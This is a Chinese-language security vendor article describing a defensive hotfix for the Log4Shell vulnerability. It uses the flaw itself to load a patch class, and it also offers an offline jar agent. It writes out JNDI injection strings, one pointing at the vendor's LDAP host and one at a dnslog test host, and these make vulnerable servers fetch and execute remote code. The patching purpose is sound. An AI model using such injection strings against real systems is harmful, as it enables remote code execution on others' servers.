史詩級的漏洞CVE-2021-44228爆發以來,各安全廠商提供了各種漏洞檢測工具,也提供了各種漏洞修復方案。但是在修復過程中遇到無盡的坑,比如更新版本需要重啟服務也不見得那麼方便,改程式碼需要一定週期,臨時修復方法錯誤(系統環境變數未生效),Log4j 2.0-2.10版本無臨時修復方案,jdk升級高版本存在bypass且仍然可以造成資訊洩露等。
鑑於以上問題,青藤推出線上&離線臨時修復方案,幫助大家迅速修復漏洞,度過“修改程式碼->測試->上線正式升級版本”這段時間差,避免發生實際損失。
Log4jPatch原理
Log4jPatch 利用本次 Log4j 漏洞本身的任意程式碼執行能力,將 Payload 注入到目標 Java 程式中,通過反射呼叫,禁用了 Log4j 對 jndi 的支援,使得後續對該漏洞的利用無效,完成漏洞修復,總而言之,就是利用漏洞把漏洞補上。
Log4jPatch造成的影響
1. Log4j無法使用jndi,如果Log4j業務使用了jndi那麼就會受到影響(這樣的程式設計師就應該被安全工程師吊起來打)。
2. 由於注入到目標 Java 程式中的 Payload 極小(<1.6KB),且變更邏輯簡單,對於擔心jvm記憶體的使用者來說請放心。等您進行程式碼級別的修復之後,只需要重啟服務patch就不會再駐留在記憶體中。
Log4jPatch修復方法
1. 如何使用青藤的Log4jPatch線上補丁服務
1.1 修復人員在漏洞注入點(如使用者名稱、搜尋框、前端站點表單欄位等等漏洞的觸發點,不需要提供給青藤),把注入payload修改為:${jndi:ldaps://cve-2021-44228.qingteng.cn:8443/patch}。
1.2 存在漏洞的業務會到cve-2021-44228.qingteng.cn去遠端載入class檔案,把jvm虛擬機器中的jndi給禁用。
1.3 修復驗證:按照之前查詢驗證存在漏洞的方式進行測試,比如${jndi:ldap:xxxxx.dnslog.xxcnxx/exp},漏洞驗證不成功則說明漏洞修復成功。
驗證demo
patch前後效果對比
patch前,利用漏洞訪問 1.5gwpt7.dnslog.cn 成功;patch後,利用漏洞訪問 2.5gwpt7.dnslog.cn 失敗;手動訪問 curl 3.5gwpt7.dnslog.cn 成功,證明 dnslog 有效(附時間戳證明連續性)。
2. 如果業務無法訪問網際網路服務,還可以使用青藤提供的離線jar包進行熱修復
jar包修復原理:利用 JVM 提供的 Instrumentation API來更改載入到 JVM 中的現有位元組碼,https://docs.oracle.com/javase/6/docs/api/java/lang/instrument/Instrumentation.html。在不重啟Java程式的情況下,修改org.apache.logging.log4j.core.lookup.JndiLookup類的lookup方法,固定返回Patched JndiLookup::lookup()。
2.1 https://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz地址下載Log4jPatch的jar包。
2.2 Log4jPatch的jar包上傳到存在漏洞的伺服器,然後執行命令。
Linux:傳到伺服器,然後解壓,cd 進入到解壓後的cve-2021-44228-qingteng-patch目錄,參考 README.md,執行 attach.sh 。
attach.sh例子
./attach.sh 不帶pid將使用jps列出此機器上所有java程式,然後輸入行號選擇程式來進行注入修復,輸入all將會注入所有列出的java程式。
可輸入多個,空格分割。
windows:
雙擊 attach.bat, 然後輸入java程式pid
或者cmd命令列裡傳入pid,例如: attach.bat pid
2.3 離線的修復驗證:按照之前查詢驗證存在漏洞的方式進行測試,如:burpcollaborator進行驗證,漏洞驗證不成功則說明漏洞修復成功。
注意:使用以上兩種修復方式需要您擁有系統的所有權,並且理解修復的原理和方法。
FAQ:
Q:青藤怎麼保證修復方式安全可靠?
A:
1.青藤完全不需要您提供業務的漏洞細節,這完全掌握您的手中,我們並不清楚也不需要具體的注入點;
2.原始碼開源,專案地址:
https://github.com/qingtengyun/cve-2021-44228-qingteng-online-patch 和https://github.com/qingtengyun/cve-2021-44228-qingteng-patch;
3.開源專案中提供了所用到的class檔案和jar包檔案的hash值;
4.到https://cve-2021-44228.qingteng.cn/patch/class/patch.class和https://cve-2021-44228.qingteng.cn/patch/jar/cve-2021-44228-qingteng-patch.tar.gz下載class檔案和jar包進行對比。
Q:青藤patch修復之後就永久生效麼?
A:只要不重啟服務,該方式可以一直生效,一旦您重啟了服務,需要再次對注入點打patch,直到程式碼級修復上線。
Q:青藤提供的修復支援的java版本是多少?
A:線上修復patch支援JDK版本6、7、8、9、10、11,離線修復的支援JDK版本6、7、8、9、10、11。
Q:我不知道注入點在哪裡,但是引用了Log4j,能使用青藤的修復補丁麼?
A:可以,使用離線jar包不需要提供注入點,只需要知道程式id。
Q:我不知道我有沒有用Log4j,你能幫我看看麼?
A:請看文章教你輕鬆清點:https://mp.weixin.qq.com/s/0cHryvkZUzp4KelF5twolg